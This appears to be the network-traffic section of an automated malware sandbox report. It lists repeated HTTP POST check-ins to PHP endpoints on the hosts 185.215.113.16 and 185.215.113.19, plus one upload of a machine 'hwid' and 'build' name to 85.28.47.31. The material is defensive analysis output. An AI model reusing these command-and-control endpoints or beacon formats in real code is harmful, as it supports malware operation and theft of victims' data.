Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 31 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000017001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 85.28.47.31Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKFHJDAEHIEHJJKFBGDAHost: 85.28.47.31Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 46 48 4a 44 41 45 48 49 45 48 4a 4a 4b 46 42 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 31 32 35 45 38 39 44 38 30 36 45 32 33 37 31 35 34 33 35 31 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 48 4a 44 41 45 48 49 45 48 4a 4a 4b 46 42 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 69 6c 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 48 4a 44 41 45 48 49 45 48 4a 4a 4b 46 42 47 44 41 2d 2d 0d 0a Data Ascii: ------KKFHJDAEHIEHJJKFBGDAContent-Disposition: form-data; name="hwid"B125E89D806E2371543510------KKFHJDAEHIEHJJKFBGDAContent-Disposition: form-data; name="build"sila------KKFHJDAEHIEHJJKFBGDA--
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
